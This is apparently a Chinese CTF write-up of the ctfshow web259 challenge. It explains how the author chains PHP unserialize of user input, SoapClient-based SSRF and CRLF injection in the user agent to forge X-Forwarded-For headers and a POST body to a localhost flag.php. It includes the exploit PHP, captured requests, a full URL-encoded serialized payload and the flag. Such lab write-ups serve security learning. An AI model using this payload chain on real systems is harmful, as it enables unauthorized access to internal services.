ctfshow web259

发布时间 2023-06-26 11:00:43作者: crazy168

考察点:

1,SSRF

2,Cloudflare代理服务器

3,CRLF

4,原生类反序列化

解题过程:

分析代码

<?php
highlight_file(__FILE__);
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//
array_pop($xff);
$ip = array_pop($xff);
​
if($ip!=='127.0.0.1'){
    die('error'); //bool
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
$vip = unserialize($_GET['vip']); //$vip =new bool();
//vip can get flag one key
$vip->getFlag();
} 

array_pop()函数:去除数组最后一个元素

file_put_contents函数:把$flag写入flag.txt

explode()函数:把字符串打散为数组

介绍完函数,分析一下去获取flag的过程。 题目中 array_pop()函数 使用了两次,最后将ip赋给$ip,

这里说一下这个 array_pop()函数两次的过程

假设:
                       处理后
X-Forwarded-For:x,y    ————>X-Forwarded-For:空                  
X-Forwarded-For:x,y,z  ————>X-Forwarded-For:x

这里尝试去伪造 X-Forwarded-For,发现不行,因为使用了Cloudflare,至于如何去判断一个网站是否使用了Cloudflare,附一篇文章如何判断一个网站是否使用CloudFlare反向代理服务? 服务器 Gind.cn

当我们主机去访问一个有couldflare的网站时,网站收到的访问者 IP 地址通常会被隐藏。Cloudflare 作为一个反向代理服务,通过其全球分布的边缘节点中继用户的请求。这样做的目的是保护网站的安全和隐私,防止直接暴露真实的 IP 地址。一般情况下,如果一个网站启用了 Cloudflare 并未进行额外的配置,它收到的访问者 IP 地址将是 Cloudflare 边缘节点的 IP 地址,而不是最终用户的真实 IP 地址。

尝试去想其他的方法,我们看到代码最后有一个 $vip->getFlag(),代码里面并没有getFlag()这个方法,想到了php的原生类,可以通过SoapCilent,这样就调用了__call魔术方法,这里我去学习了SoapCilent原生类,SoapClient反序列化SSRF - 知乎 (zhihu.com)这里就思路清晰了,通过原生类去SSRF,去以127.0.0.1访问flag.php,pos传一个参数token=ctfshow,之后 file_put_contents函数 将flag写入flag.txt,访问flag.txt获得flag

先在本地测试http请求头都需要修改什么东西,

<?php

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));

$client->AAA();
?>

在本地监听9999端口

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

我们需要添加 X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1 这样两次处理后, X-Forwarded-For:127.0.0.1 ,达到目的 但是我们还要去修改后面的头部,以及提交的token参数,这时候 Content-Type:,就需要修改了,这里要去了解CRLF,CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)

我们用\r\n去通过 User-Agent:去构造我们后面想要的头部 在本地测试一下效果,

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>

效果:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

题目测试:

http://4b52a02f-df92-4045-997b-3fe2208d5bad.challenge.ctf.show/?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A136%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 

成功执行,可以访问flag.txt了
ctfshow{e1c60ce6-b350-4fb5-961d-fe86246bee4c}

总结:

这道题考察了很多的知识点,还有很多自己的知识盲区,第一次去接触php的原生类,以及Cloudflare。